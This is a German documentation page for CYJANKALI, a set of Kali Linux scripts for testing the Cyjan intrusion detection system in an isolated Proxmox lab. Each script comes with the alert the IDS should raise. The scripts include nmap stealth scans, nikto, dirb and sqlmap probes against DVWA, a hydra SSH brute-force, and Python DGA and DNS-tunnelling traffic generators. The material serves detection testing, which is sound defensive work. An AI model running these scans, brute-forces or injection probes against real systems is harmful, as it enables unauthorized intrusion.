Den Wächter angreifen, den Angreifer erkennen

CYJANKALI ist die offensive Test-Spielwiese für das Cyjan IDS. Hier sammeln wir Kali-Linux-Skripte, mit denen man das eigene IDS-Setup unter realistischer Last attackiert – und dazu jeweils, was im Frontend zu sehen sein sollte. Wenn die Detection ausbleibt, weißt du wo du nachjustieren musst.

Das Wortspiel ist Programm: Cyankali (Kaliumcyanid) ist das Gift, gegen das das System schützt. Kali Linux ist das Werkzeug, mit dem wir das Gift simulieren.

Lab-Setup

Topologie

Mindestens zwei VMs in einem isolierten Subnet:

Wer keinen physischen Switch mit SPAN-Port hat: in Proxmox/VMware den vSwitch auf Promiscuous stellen und das Mirror-Interface des IDS am gleichen vSwitch hängen lassen wie das Routing-Interface der Ziel-VM. Der Sniffer kapert dann den gesamten Bridge-Traffic.

Kali bereitstellen

Frisches Kali-Image holen und in die VM-Plattform deiner Wahl einspielen:

→ kali.org / get-kali

Empfehlung: die Pre-built Virtual Machines (.ova / .vmx) sparen einen kompletten Installer-Lauf. Default-Login kali / kali sofort ändern.

Proxmox: VM-Mirror per Hookscript (kein physischer SPAN-Port nötig)

Wer einen Proxmox-Host nutzt, kann den gesamten Verkehr einer Ziel-VM auf eine Sniffer-VM spiegeln — ohne Switch-Konfiguration, ohne Promiscuous-Mode am vSwitch. Das Script unten klemmt sich beim VM-Start als Hook ein und legt per tc mirred ein bidirektionales Spiegel auf das Tap-Device der Sniffer-VM.

Damit läuft das ganze Lab-Setup als 3 VMs auf einem Proxmox-Host:

Der Tap forwarded die Alerts via mTLS-WSS an den Master. Das Master-Frontend zeigt die Alarme genauso wie bei einer Hardware-SPAN-Erfassung — nur dass alles in einer einzigen Lab-Topologie steckt.

Voraussetzung: dedizierte Mirror-Bridge anlegen

Bevor das Hookscript greift, brauchst du in Proxmox eine eigene Linux-Bridge nur für den Mirror-Traffic. Der Sinn: die Sniffer-NIC der Tap-VM hängt isoliert daran und sieht ausschließlich die per tc mirred reingespiegelten Pakete — kein sonstiger Lab-Verkehr, keine ARP-Stöme, kein DHCP-Lärm.

Die Bridge hat keinen physischen Port und keine IP. Das ist gewollt: Pakete bleiben rein virtuell auf dem Host und kommen nur über das Hookscript-Mirroring rein.

Per GUI (Proxmox-Webinterface):

  1. Datacenter → <node> → System → Network → Create → Linux Bridge
  2. Name: vmbr99 (oder anderer freier vmbrN — muss in SNIFFER_BRIDGE des Hookscripts matchen)
  3. IPv4/IPv6: leer lassen
  4. Bridge ports: leer (kein eth/eno/enp drinnenhängen)
  5. Comment: z.B. „Cyjan Mirror"
  6. Create, dann oben Apply Configuration klicken (live ohne Reboot)

Oder per Datei (gleichbedeutend) — direkt in /etc/network/interfaces auf dem Proxmox-Host:

cat >> /etc/network/interfaces <<'EOF'

auto vmbr99
iface vmbr99 inet manual
    bridge-ports none
    bridge-stp off
    bridge-fd 0
#Cyjan Mirror Bridge (kein physischer Port, keine IP)
EOF

ifreload -a    # oder: ifup vmbr99

Verifikation:

ip -br link show vmbr99           # → vmbr99  UP  ...
bridge link show master vmbr99    # zeigt angeschlossene Taps (anfangs leer)
brctl show vmbr99                 # alternative Sicht

Tap-VM mit der Mirror-Bridge verbinden

Die Tap-VM braucht zwei NICs: eine fürs Management (Pairing zum Master, SSH, Updates) und eine an vmbr99 fürs reine Mithören. Beide werden im First-Boot-Wizard (ids-setup auf der Tap-VM) als Management- bzw. Mirror-Interface ausgewählt.

# Beispiel: VM 108 = Tap. net0 ist Management (vmbr0), net1 wird Mirror.
qm set 108 --net1 virtio,bridge=vmbr99
# danach Tap-VM rebooten oder net1 neu anstöpseln, damit das neue Tap
# (tap108i1) am Bridge auftaucht.
qm reboot 108

# Innerhalb der Tap-VM: das neue Interface erscheint als ens19 / eth1.
# Im First-Boot-Wizard (ids-setup) als 'Mirror-Interface' auswählen,
# nicht als Management.

Wichtig: das Mirror-Interface in der Tap-VM bekommt keine IP (der Wizard setzt iface eth1 inet manual + promisc-mode). Der Sniffer-Container schluckt es per AF_PACKET direkt — Routing braucht's nicht.

Hookscript

↓ proxmox-mirror.sh

Drei Variablen oben anpassen: TARGET_VM (die Quell-VM, die du spiegelst), SNIFFER_VM (deine Tap-VM-ID) und SNIFFER_BRIDGE (Proxmox-Bridge der Mirror-NIC der Tap-VM).

Installation am Proxmox-Host

Per SSH als root auf den Proxmox-Host:

# 1. Skript ablegen — der Snippet-Pfad muss exakt unter /var/lib/vz/snippets/
#    liegen, da Proxmox dort nach Hookscripts sucht (lokaler Storage 'local').
mkdir -p /var/lib/vz/snippets
cp proxmox-mirror.sh /var/lib/vz/snippets/mirror.sh
chmod +x /var/lib/vz/snippets/mirror.sh

# 2. KONFIG im Skript anpassen — TARGET_VM/SNIFFER_VM/SNIFFER_BRIDGE
nano /var/lib/vz/snippets/mirror.sh

# 3. Hookscript an die TARGET-VM binden (VMID = ID der Kali- bzw. Ziel-VM)
qm set 109 --hookscript local:snippets/mirror.sh

# 4. Pre-Check: läuft die Tap-VM, hängt sie an SNIFFER_BRIDGE?
qm config 108 | grep ^net   # → muss eine NIC mit bridge=vmbr99 haben

# 5. Trigger: Target-VM neu starten — der post-start-Hook richtet das
#    Mirroring automatisch ein (und startet die Tap-VM ggf. mit, wenn
#    AUTO_START_SNIFFER=1).
qm reboot 109

# 6. Verifikation: tc-Regeln am Quell-Tap prüfen
tc qdisc show dev tap109i0
tc filter show dev tap109i0 ingress
journalctl -t mirror-hook -n 50

Wie das Mirroring tatsächlich passiert

Proxmox legt für jede VM-NIC ein tap<VMID>i<index>- Device an, das an der konfigurierten Bridge hängt. Das Skript:

  1. Setzt eine ingress-qdisc auf das Quell-Tap, damit Pakete von der VM in Richtung Bridge mitgespiegelt werden.
  2. Setzt eine root prio-qdisc auf das Quell-Tap, damit Pakete aus der Bridge in Richtung VM ebenfalls mitgespiegelt werden.
  3. Beide qdiscs bekommen einen matchall-Filter mit mirred egress mirror dev <sniffer-tap> — Kernel kopiert jedes Paket auf das Tap der Sniffer-VM.
  4. Die Sniffer-NIC der Tap-VM sieht den Verkehr wie an einem echten SPAN-Port. Der Sniffer-Container (cyjan-tap-sniffer) liest mit AF_PACKET und reicht durch die Pipeline.

Funktioniert mit und ohne aktivierte Proxmox-Firewall — das Skript erkennt die zusätzliche fwbr/fwpr-Kette und findet das Tap der Sniffer-VM trotzdem.

Aufräumen

Beim regulären qm shutdown/stop der Target-VM werden die tc-Regeln per pre-stop-Hook automatisch entfernt. Hookscript wieder abklemmen:

qm set 109 --delete hookscript
rm /var/lib/vz/snippets/mirror.sh

Test-Katalog

Jede Kategorie liefert ein Skript, das du auf der Kali-Box laufen lässt, plus die erwartete Reaktion im Cyjan-Frontend. Wenn der Alert ausbleibt → Anti-Pattern für eine Regel- oder ML-Modell-Verbesserung.

Konkrete Lab-Resultate aus einer realen Pentest-Reihe gegen ein Cyjan-IDS-Lab — mit IDS-Antwort pro Test und allen Code-Fixes, die daraus geflossen sind: → Lab-Bericht Phasen 1–6

1. Reconnaissance · nmap-Scans

Verschiedene Stealth-Variants gegen die Ziel-VM. Gut um zu prüfen ob Sniffer-Drop-Pct sauber bleibt und ob Connection-Graph die Kali-IP als neuen Knoten markiert.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}

echo "[+] SYN-Scan (Top 1000 Ports)"
sudo nmap -sS -T4 "$TARGET"

echo "[+] FIN-Scan (Stealth)"
sudo nmap -sF -T3 "$TARGET"

echo "[+] NULL-Scan"
sudo nmap -sN -T3 "$TARGET"

echo "[+] Xmas-Scan"
sudo nmap -sX -T3 "$TARGET"

echo "[+] Service- und OS-Detection"
sudo nmap -sV -O -A "$TARGET"
Erwartete IDS-Reaktion
  • Signature-Engine: port-scan-burst & fin-scan-stealth Alerts (Severity medium).
  • ML-Engine: Anomaly-Score auf der Flow-Aggregat-Ebene steigt; mehrere kurze Flows zur selben Source-IP.
  • Connection-Graph: Kali-IP wird zum Hub mit vielen ausgehenden Edges.

2. Web-Angriffe · sqlmap, nikto, dirb

Klassische Web-App-Probes gegen DVWA oder eine eigene Test-App. Der Mirror-Port sollte den HTTP-Request-Traffic mitbekommen.

#!/usr/bin/env bash
TARGET=${1:-http://192.168.56.10}

echo "[+] nikto: Misconfig + bekannte CVEs"
nikto -h "$TARGET" -Tuning 9

echo "[+] dirb: Default-Wordlist Brute-Force"
dirb "$TARGET" /usr/share/dirb/wordlists/common.txt -r

echo "[+] sqlmap: Injection-Probe gegen DVWA-Login"
sqlmap -u "$TARGET/login.php" \
       --data "username=admin&password=admin&Login=Login" \
       --batch --threads 4 --level 3
Erwartete IDS-Reaktion
  • Signature-Engine: sql-inject-tautology, web-bruteforce-paths Alerts (Severity high).
  • Suricata (falls aktiv): ET-WEB-Server-Rule-Hits.
  • Alert-Manager: Dedup-Window unterdrückt die nikto-Spam-Wave nach 300 s.

3. Brute-Force · hydra gegen SSH

Klassisches SSH-Login-Hammern gegen einen eigenen Lab-Account. Testet sowohl die Signature-Engine (Connection-Burst-Pattern) als auch die ML-Anomaly-Detection.

Die Wordlists sind bewusst Variablen — kopiere die Datei nicht ungeprüft mit rockyou.txt gegen einen produktiven Host. Lege dir für den Test einen separaten Lab-User mit kontrolliertem, definitiv erratbaren Passwort an, damit du den Treffer auch nachweisen kannst, ohne fremde Accounts zu verbrennen.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}
USERLIST=${USERLIST:-/path/to/your-lab-userlist.txt}
PASSLIST=${PASSLIST:-/path/to/your-controlled-pwlist.txt}

echo "[+] hydra: SSH brute-force gegen Lab-Account"
hydra -L "$USERLIST" \
      -P "$PASSLIST" \
      -t 4 -e nsr \
      ssh://"$TARGET"
Erwartete IDS-Reaktion
  • Signature-Engine: ssh-bruteforce Alert nach > 10 Failed-Logins/min (Severity high).
  • ML-Engine: Flow-Inter-Arrival-Time-Entropie sinkt scharf, Anomaly-Score > 0.8.

4. MITM · responder im Analysis-Modus

Klassischer Windows-Lab-Angriff. Wir nutzen Analysis-Mode (-A): responder beobachtet LLMNR/NBT-Broadcasts und protokolliert sie, schreibt aber nichts aktiv ins Netz zurück. Reicht für die IDS-Detection völlig aus — der Sniffer sieht den Broadcast-Traffic ohnehin —, vermeidet aber das Spoofen fremder Hostnamen, was ein anderer rechtlicher Korridor wäre.

#!/usr/bin/env bash
# Passive Analysis-Only: responder loggt LLMNR/NBT-Queries, ohne sie zu
# beantworten. Aktiv-Spoofing (-wF) bewusst NICHT aufgeführt.
IFACE=${1:-eth0}

sudo responder -I "$IFACE" -A
Erwartete IDS-Reaktion
  • Signature-Engine: llmnr-broadcast-storm Alert (Severity medium).
  • Connection-Graph: Cluster broadcast-aktiver Hosts wird sichtbar; Kali-Box ist passiver Beobachter.

5. DNS-Angriff trotz Resolver-Allowlist

Ein Cyjan-IDS-Operator pflegt die DNS-Resolver-Allowlist (Settings → System → DNS-Resolver), damit legitime Antwort-Flows nicht als Pseudo-Port-Scans schreien. Suppressed werden dabei nur medium- und low-Severity-Alerts. Echte DNS-Angriffe (high) müssen trotzdem feuern – dieser Test prüft genau das.

Drei Schritte: zuerst eine harmlose Lookup-Welle gegen den eingetragenen Resolver (Kontrolle, sollte still bleiben), dann eine DGA-Simulation und ein Tunneling-Volumen-Test (beide sollen knallen).

#!/usr/bin/env bash
# Cyjankali DNS-Test: zeigt dass die DNS-Resolver-Allowlist im Cyjan IDS
# nur die low/medium-FPs unterdrückt – high-severity DNS-Angriffe
# (Tunneling, DGA) feuern weiter.
#
# Voraussetzung: $RESOLVER ist im Cyjan-IDS unter Settings → System →
# DNS-Resolver eingetragen.

RESOLVER=${1:-192.168.56.1}

echo "[1/3] Kontrolle: 200 normale Lookups gegen den Resolver"
echo "      Erwartung: KEIN Alert (medium/low werden via Allowlist gedroppt)"
for i in $(seq 1 200); do
  dig +short +time=1 +tries=1 example.com @"$RESOLVER" > /dev/null
done

echo
echo "[2/3] DGA-Simulation: 50 Random-Subdomains mit variabler IAT, ein Socket"
echo "      Erwartung: DNS_DGA_001 (high) feuert trotz Allowlist"
RESOLVER="$RESOLVER" python3 - <<'PY'
import os, random, socket, struct, time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 0))                       # ein Source-Port → ein Flow
target = (os.environ['RESOLVER'], 53)
for _ in range(50):
    qname = ''.join(random.choices('abcdefghijklmnop', k=24)) + '.test.invalid'
    txid = random.randint(0, 0xffff)
    header = struct.pack('!HHHHHH', txid, 0x0100, 1, 0, 0, 0)
    parts = qname.split('.')
    body = b''.join(bytes([len(p)]) + p.encode() for p in parts) + b'\x00'
    body += struct.pack('!HH', 1, 1)     # type A, class IN
    sock.sendto(header + body, target)
    time.sleep(random.uniform(0.05, 0.6))  # → entropy_iat > 2.5
PY

echo
echo "[3/3] Tunneling-Volumen: 1500 Queries mit großen QNAMES, ein Socket"
echo "      Erwartung: DNS_TUNNEL_001 (high) feuert trotz Allowlist"
RESOLVER="$RESOLVER" python3 - <<'PY'
import os, random, socket, struct
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 0))
target = (os.environ['RESOLVER'], 53)
for _ in range(1500):
    # 60-Hex-Char-Subdomain → ~95 Byte Query, 1500× > 50 KB byte_count
    sub = ''.join(random.choices('0123456789abcdef', k=60))
    qname = sub + '.exfil.test.invalid'
    txid = random.randint(0, 0xffff)
    header = struct.pack('!HHHHHH', txid, 0x0100, 1, 0, 0, 0)
    parts = qname.split('.')
    body = b''.join(bytes([len(p)]) + p.encode() for p in parts) + b'\x00'
    body += struct.pack('!HH', 1, 1)
    sock.sendto(header + body, target)
PY

echo
echo "Im Cyjan-Frontend (Settings → DNS-Resolver mit $RESOLVER eingetragen):"
echo "  Schritt 1 → keine neuen Alerts (Allowlist greift)"
echo "  Schritt 2 → DNS_DGA_001  (high) – feuert auch mit Allowlist"
echo "  Schritt 3 → DNS_TUNNEL_001 (high) – feuert auch mit Allowlist"
Erwartete IDS-Reaktion
  • Schritt 1 (Kontrolle): keine Alerts – die Allowlist unterdrückt SCAN_002 / DNS_AMP_001 / DNS_NONSTANDARD_001 (alle medium/low) für den eingetragenen Resolver.
  • Schritt 2 (DGA): DNS_DGA_001 Severity high – die Allowlist greift hier nicht, weil die Policy high/critical durchlässt.
  • Schritt 3 (Tunneling): DNS_TUNNEL_001 Severity high – byte_count > 50 KB im Single-Flow, gleicher Pfad wie Schritt 2 (kein Suppress).
  • Stats-Log im alert-manager: dns_allowlisted=N zählt die Schritt-1-Drops mit – so siehst du serverseitig, ob die Suppression wirklich wirkt.

Wenn Schritt 2 oder 3 nicht feuert, prüfe ob die DNS-Allowlist versehentlich auch high-severity blockt (Bug) oder ob die Test-Queries den IDS-Sniffer überhaupt erreichen (dual-NIC: Mirror-Port aktiv? single-NIC: Resolver muss im selben L2-Segment wie das Mgmt-Interface liegen).

Weitere Kategorien (folgen)

  • Slow-DoS (slowloris, hping3 --rand-source)
  • Metasploit-Module gegen typische Lab-Targets
  • BloodHound + impacket-Suite (Lateral Movement)
  • BurpSuite Active Scan gegen DVWA

Pull-Requests willkommen – Schema je Test ist Skript / erwartete Detection / Severity.

Verifikation im IDS-Frontend

Während du die Kali-Skripte fährst, parallel im Cyjan-Frontend (http://<mgmt-ip>/) auf folgende Stellen schauen:

UI-BereichWas du sehen solltest
Alert-Feed (Live) WebSocket-Push neuer Alerts in Echtzeit, Severity-Spalte korreliert mit Test-Kategorie.
Connection-Graph Kali-IP als neuer Hub-Knoten; bei nmap erscheint sie mit hoher Out-Degree-Zahl.
Threat-Level (Header) Der 15-Minuten-Score-Indikator wandert von grün → gelb → orange → rot, je nach Volumen und Severity.
PCAP-Download Pro Alert ein ±60 s-PCAP ladbar (sobald MinIO-Upload durch ist).
ML-Status Anomaly-Score-Histogramm bekommt einen rechten Tail während der Test-Sessions.

Ressourcen

Disclaimer

Die hier gesammelten Skripte sind für autorisierte Sicherheitstests im eigenen Lab gedacht. Der Einsatz gegen fremde Systeme ohne ausdrückliche schriftliche Erlaubnis des Eigentümers ist nach § 202c StGB (Vorbereitung des Ausspähens und Abfangens von Daten), § 303a StGB (Datenveränderung) und § 303b StGB (Computersabotage) strafbar. In den USA gilt 18 U.S.C. § 1030 (CFAA).

Keine Gewähr. Die Skripte werden „as-is" zu Bildungs- und Detection-Validation-Zwecken bereitgestellt — ohne Zusicherung von Funktion, Sicherheit oder rechtmäßiger Verwendung. Wer das CYJANKALI- Material gegen produktive Systeme richtet, tut das auf eigene Verantwortung; die Maintainer übernehmen für daraus resultierende Konsequenzen ausdrücklich keine Haftung.

Markenhinweis: Kali Linux ist eine eingetragene Marke der OffSec Services Limited. Dieses Projekt steht in keiner Verbindung zu Kali Linux, OffSec oder dem Kali-Linux-Team. Der Name „CYJANKALI" referenziert das chemische Gift Cyankali (Kaliumcyanid) — die Doppeldeutung mit „Kali" ist Wortspiel, keine Endorsement-Behauptung.